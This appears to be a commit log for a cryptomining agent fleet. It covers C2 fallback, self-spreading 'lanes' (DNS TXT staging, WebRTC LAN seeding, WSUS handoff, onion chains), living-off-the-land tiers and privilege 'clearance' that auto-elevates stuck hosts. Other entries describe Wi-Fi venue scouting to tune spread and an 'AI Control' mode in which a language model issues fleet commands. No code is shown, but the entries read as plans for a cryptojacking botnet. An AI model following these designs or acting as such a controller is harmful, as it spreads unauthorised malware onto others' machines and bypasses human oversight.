Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
Ship POST /api/v1/forge/launch-template with cloud-init user-data embedding genesis snapshot hash and strain card ID; first template-tagged auth pins SpreadGeneration=0 and ParentAgentID=template.
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
Operators fork at hop N to run persona ensembles in parallel on the target agent until mining links; winners merge back into the canonical SQLite-persisted session with WS and Seer events plus mermaid branch graphs in the UI.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.
Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into
named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps
instead of full ListAgents scans.
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
Serialize agent WebSocket writes (ping + JSON), mutex-protect spreadGateClock,
and harden deploy-plan spread route hint setup under parallel test runs.
Stub slow syscheck/listen-port probes in agent tests, fix ai_snapshot mutex deadlock, reorder fleet clearance vs connectivity checks, and add AI control precedence plus LotlTimeline vitest coverage.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
Stop the stats batch timer in unit tests before reading pending coalesced state, teach the Playwright stub agent to emit lotl_tier stats, and prefer server/webroot so phase-8 E2E serves the current frontend build.
